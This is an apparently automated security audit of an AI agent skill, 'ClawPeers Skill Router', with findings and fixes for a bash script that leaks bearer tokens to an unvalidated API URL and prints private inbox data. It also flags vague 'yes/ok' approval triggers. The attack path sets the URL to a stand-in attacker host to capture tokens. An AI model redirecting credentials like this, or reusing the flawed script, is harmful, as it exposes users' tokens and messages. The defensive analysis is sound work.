Back to skill

Security audit

ClawPeers Skill Router

Security checks for vulnerabilities and agentic risk

Overview

The skill does what it says, but it handles bearer tokens, inbox data, and remote publishing with enough under-scoped safeguards that users should review it carefully before installing.

Install only if you are comfortable with the agent using ClawPeers bearer tokens and sending profile, subscription, posting, intro, DM, and inbox data over the configured HTTP API. Avoid running the diagnostic script with custom API_BASE_URL values unless you fully trust the endpoint, and do not run it in shared logs or CI with real tokens because it prints inbox responses. For posting workflows, require the agent to restate the exact remote action before treating short replies like yes or ok as approval.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/check_skill_endpoints.sh:4
Finding
Bearer Token Disclosure Through an Unvalidated API Base URL<![CDATA[ ## Vulnerability Details **File Location**: `scripts/check_skill_endpoints.sh`, lines 4-20 **Vulnerability Type**: Bearer token exposure through an attacker-controlled destination **Risk Level**: High ### Vulnerable Code ```bash API_BASE_URL="${API_BASE_URL:-https://api.clawpeers.com}" TOKEN="${TOKEN:-}" if [[ -z "$TOKEN" ]]; then echo "TOKEN is required" echo "Usage: TOKEN=<bearer> API_BASE_URL=https://api.clawpeers.com ./check_skill_endpoints.sh" exit 1 fi echo "Checking skill endpoints at ${API_BASE_URL}" echo "--- /health" curl -fsS "${API_BASE_URL}/health" | sed 's/.*/&\n/' echo "--- /skill/status" curl -fsS -H "Authorization: Bearer ${TOKEN}" "${API_BASE_URL}/skill/status" | sed 's/.*/&\n/' echo "--- /skill/inbox/poll" curl -fsS -H "Authorization: Bearer ${TOKEN}" "${API_BASE_URL}/skill/inbox/poll?limit=5" | sed 's/.*/&\n/' ``` ### Technical Analysis The script accepts `API_BASE_URL` directly from the environment and uses it as the destination for requests containing the `Authorization: Bearer` header. It does not validate the URL scheme, hostname, port, or trust boundary before transmitting the token. Consequently, any party capable of influencing the script's environment or invocation instructions can redirect authenticated requests to an attacker-controlled endpoint. The script also permits unencrypted `http://` destinations, allowing interception over an untrusted network. The use of quoted variables prevents shell command injection, but it does not prevent credential disclosure because `curl` legitimately sends the bearer token to the configured destination. ### Attack Path 1. An attacker influences a CI variable, shell environment, copied command, deployment configuration, or troubleshooting instructions. 2. The attacker sets `API_BASE_URL` to an endpoint under their control, such as `https://attacker.example`. 3. A user or automated job runs the script with a valid ClawPeers token: ```bash TOKEN="<valid-token>" AP ...[truncated 969 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Require an HTTPS URL and reject all other schemes. 2. Allowlist trusted production and staging hostnames before attaching the bearer token. 3. Reject URLs containing embedded credentials, unexpected ports, fragments, or other ambiguous components. 4. Require an explicit opt-in for custom deployments rather than trusting any environment-provided destination. 5. Use deployment-specific, least-privilege tokens when custom endpoints are necessary. 6. Add connection and request timeouts and retain TLS certificate verification. 7. Consider accepting a deployment identifier that maps to a fixed internal URL instead of accepting an arbitrary URL. Example hardening approach: ```bash case "$API_BASE_URL" in "https://api.clawpeers.com"|"https://staging-api.clawpeers.com") ;; *) echo "Refusing to send credentials to an untrusted API endpoint" >&2 exit 1 ;; esac ``` If self-hosted deployments must be supported, parse and validate the URL with a dedicated URL parser and require explicit confirmation before transmitting credentials. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/check_skill_endpoints.sh:19
Finding
Sensitive Inbox Events Are Written Unredacted to Standard Output<![CDATA[ ## Vulnerability Details **File Location**: `scripts/check_skill_endpoints.sh`, lines 19-20 **Vulnerability Type**: Sensitive information exposure through terminal or CI logs **Risk Level**: Medium ### Vulnerable Code ```bash echo "--- /skill/inbox/poll" curl -fsS -H "Authorization: Bearer ${TOKEN}" "${API_BASE_URL}/skill/inbox/poll?limit=5" | sed 's/.*/&\n/' ``` ### Technical Analysis The endpoint-checking script prints the complete response from `/skill/inbox/poll` to standard output. The `sed` command only adds formatting; it does not filter or redact response fields. Based on the documented workflow, inbox events can include introduction requests, direct-message events, node identifiers, posting identifiers, aliases, and user-provided message content. Printing the raw response can expose this information in: - CI/CD job logs. - Captured terminal sessions. - Support transcripts. - Remote execution logs. - Monitoring or log aggregation platforms. A deployment verification tool generally needs to verify the HTTP status and possibly the response schema. It does not need to disclose complete inbox payloads. ### Attack Path 1. A user or automated process runs the endpoint-checking script with a valid token. 2. The authenticated inbox endpoint returns up to five queued events. 3. The script writes the complete response body to standard output. 4. The terminal, CI system, remote runner, or logging platform records that output. 5. A person with access to those logs reads private event content without needing direct access to the ClawPeers token or API. An attacker could increase the sensitivity of the leaked output by first sending crafted private content to the target's inbox and then inducing an administrator to run the diagnostic script in a logged environment. ### Impact Assessment Exploitation can disclose the contents and metadata of up to five inbox events per invocation. Exposed data may include private messages, introduction details, a ...[truncated 288 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Do not print the inbox response body during routine endpoint validation. 2. Write the response to a protected temporary buffer or file, validate its status and schema, and then securely discard it. 3. Print only non-sensitive diagnostic information, such as: - HTTP success or failure. - Response content type. - Event count, if the count itself is acceptable to disclose. 4. If payload inspection is required, place it behind an explicit `--debug` option and redact message bodies, identifiers, aliases, signatures, and other sensitive fields. 5. Warn users not to enable debug output in shared terminals or CI environments. 6. Ensure any temporary file is created with restrictive permissions and removed on exit. A minimal status-only check could use: ```bash curl -fsS \ -H "Authorization: Bearer ${TOKEN}" \ -o /dev/null \ "${API_BASE_URL}/skill/inbox/poll?limit=5" echo "Inbox polling endpoint is reachable" ``` ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (5)

Lp3

Medium
Category
MCP Least Privilege
Confidence
91% confidence
Finding
The skill references execution of a shell script (`scripts/check_skill_endpoints.sh`) and operational HTTP actions, but it does not declare any `permissions` or `allowed-tools` scope. That mismatch can cause an agent runtime to invoke shell capabilities without explicit least-privilege boundaries, increasing the risk of unintended command execution or overly broad tool access.

Autonomous Decision Making

Medium
Category
Excessive Agency
Content
### 5. Consent and Safety Rules

- Never auto-approve intro requests unless user explicitly instructs approval.
- Never send DM payloads without an approved thread context.
- Keep user identity and exact location private unless user explicitly chooses to reveal.
- If auth expires or returns 401, re-run challenge/verify and retry once.
Confidence
85% confidence
Finding
Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Missing User Warnings

Medium
Confidence
90% confidence
Finding
The workflow instructs the agent to publish profiles, sync subscriptions, poll/ack inbox events, and publish intros/DMs without requiring an explicit user warning or confirmation about changes to remote state and user data. In this skill context, those operations are not merely local reads; they can create durable records, alter subscription behavior, or acknowledge receipt of events, making accidental or opaque execution security-relevant.

Vague Triggers

Medium
Confidence
95% confidence
Finding
The shorthand trigger logic allows common conversational phrases like 'yes', 'ok', and 'continue' to cause reuse of prior publishing context, which can result in unintended reposting or remote actions without clear, current user consent. In a skill that can publish postings and route events over HTTP APIs, this ambiguity materially increases the risk of acting on stale context or misinterpreting ordinary chat as authorization.

Missing User Warnings

Low
Confidence
84% confidence
Finding
The skill instructs the agent to use bearer-token authentication, publish profiles, sync subscriptions, and poll inbox data over network APIs, but it does not explicitly warn that identity, metadata, and messaging content will be transmitted to external services. In a skill-first messaging workflow, this omission can weaken informed consent and lead users to expose sensitive operational or personal data without realizing the network/privacy implications.

Static analysis

No suspicious patterns detected.